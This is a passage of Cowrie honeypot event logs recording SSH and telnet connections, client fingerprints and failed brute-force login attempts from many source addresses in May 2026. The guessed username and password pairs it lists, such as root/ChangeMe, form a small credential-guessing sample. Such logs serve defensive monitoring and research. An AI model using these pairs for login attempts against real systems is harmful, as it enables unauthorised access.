sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:12.820013Z","src_ip":"182.52.90.106","session":"08f39d945d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":48344,"dst_ip":"159.203.135.109","dst_port":22,"session":"77181d1efe03","protocol":"ssh","message":"New connection: 147.45.199.80:48344 (159.203.135.109:22) [session: 77181d1efe03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:13.151376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:13.157395Z","src_ip":"147.45.199.80","session":"77181d1efe03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:13.253364Z","src_ip":"147.45.199.80","session":"77181d1efe03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"999333","message":"login attempt [root/999333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:13.550077Z","src_ip":"147.45.199.80","session":"77181d1efe03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ciaociao","message":"login attempt [root/ciaociao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:13.904208Z","src_ip":"182.52.90.106","session":"08f39d945d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:14.648422Z","src_ip":"147.45.199.80","session":"77181d1efe03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":39968,"dst_ip":"10.17.0.5","dst_port":22,"session":"31a8ea7c674b","protocol":"ssh","message":"New connection: 77.94.47.83:39968 (10.17.0.5:22) [session: 31a8ea7c674b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:14.992355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:14.997681Z","src_ip":"77.94.47.83","session":"31a8ea7c674b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:15.111994Z","src_ip":"77.94.47.83","session":"31a8ea7c674b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:15.170826Z","src_ip":"182.52.90.106","session":"08f39d945d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23051991","message":"login attempt [root/23051991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:15.449006Z","src_ip":"77.94.47.83","session":"31a8ea7c674b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:16.564370Z","src_ip":"77.94.47.83","session":"31a8ea7c674b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":47680,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea707053fbba","protocol":"ssh","message":"New connection: 103.237.144.204:47680 (159.203.135.109:22) [session: ea707053fbba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:26.700843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:26.711424Z","src_ip":"103.237.144.204","session":"ea707053fbba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:26.963912Z","src_ip":"103.237.144.204","session":"ea707053fbba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"filip","password":"filip123","message":"login attempt [filip/filip123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:27.997770Z","src_ip":"103.237.144.204","session":"ea707053fbba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":53374,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c46127c63e2","protocol":"telnet","message":"New connection: 178.128.93.180:53374 (10.17.0.5:23) [session: 4c46127c63e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:28.292390Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:29.253206Z","src_ip":"103.237.144.204","session":"ea707053fbba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":47040,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb43bfb761ff","protocol":"ssh","message":"New connection: 35.225.56.202:47040 (159.203.135.109:22) [session: fb43bfb761ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:37.551269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:37.556024Z","src_ip":"35.225.56.202","session":"fb43bfb761ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:37.592470Z","src_ip":"35.225.56.202","session":"fb43bfb761ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yash","password":"yash","message":"login attempt [yash/yash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:37.767575Z","src_ip":"35.225.56.202","session":"fb43bfb761ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:38.807039Z","src_ip":"35.225.56.202","session":"fb43bfb761ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.92214846611023,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:39.485157Z","src_ip":"178.128.93.180","session":"571f0576bbf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":45764,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a6c4fede8ec","protocol":"ssh","message":"New connection: 46.19.67.181:45764 (10.17.0.5:22) [session: 1a6c4fede8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:08.042978Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52772,"dst_ip":"159.203.135.109","dst_port":23,"session":"25e42e80844f","protocol":"telnet","message":"New connection: 69.4.83.194:52772 (159.203.135.109:23) [session: 25e42e80844f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:18.044610Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":60862,"dst_ip":"10.17.0.5","dst_port":23,"session":"27deeff94938","protocol":"telnet","message":"New connection: 178.128.93.180:60862 (10.17.0.5:23) [session: 27deeff94938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:26.286907Z"}
{"eventid":"cowrie.session.closed","duration":70.23811173439026,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:38.530357Z","src_ip":"178.128.93.180","session":"4c46127c63e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.8.188","src_port":58386,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d86129997b6","protocol":"ssh","message":"New connection: 101.47.8.188:58386 (159.203.135.109:22) [session: 4d86129997b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:45.079241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:45.088609Z","src_ip":"101.47.8.188","session":"4d86129997b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:45.827816Z","src_ip":"101.47.8.188","session":"4d86129997b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ChangeMe","message":"login attempt [root/ChangeMe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:46.815184Z","src_ip":"101.47.8.188","session":"4d86129997b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:48.056347Z","src_ip":"101.47.8.188","session":"4d86129997b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":49950,"dst_ip":"159.203.135.109","dst_port":22,"session":"a96a7ad06131","protocol":"ssh","message":"New connection: 182.52.90.106:49950 (159.203.135.109:22) [session: a96a7ad06131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:49.642044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:49.649801Z","src_ip":"182.52.90.106","session":"a96a7ad06131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:49.912308Z","src_ip":"182.52.90.106","session":"a96a7ad06131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Work@2025","message":"login attempt [root/Work@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:50.991887Z","src_ip":"182.52.90.106","session":"a96a7ad06131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.16192674636841,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:52.206556Z","src_ip":"69.4.83.194","session":"25e42e80844f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:52.264089Z","src_ip":"182.52.90.106","session":"a96a7ad06131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":53056,"dst_ip":"159.203.135.109","dst_port":22,"session":"69eb77bde2cb","protocol":"ssh","message":"New connection: 35.225.56.202:53056 (159.203.135.109:22) [session: 69eb77bde2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:58.594007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:58.599075Z","src_ip":"35.225.56.202","session":"69eb77bde2cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:58.633191Z","src_ip":"35.225.56.202","session":"69eb77bde2cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123654@","message":"login attempt [root/Aa123654@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:58.803847Z","src_ip":"35.225.56.202","session":"69eb77bde2cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":51860,"dst_ip":"159.203.135.109","dst_port":22,"session":"97fc0ddbbe1d","protocol":"ssh","message":"New connection: 103.237.144.204:51860 (159.203.135.109:22) [session: 97fc0ddbbe1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:59.304935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:30:59.309441Z","src_ip":"103.237.144.204","session":"97fc0ddbbe1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-e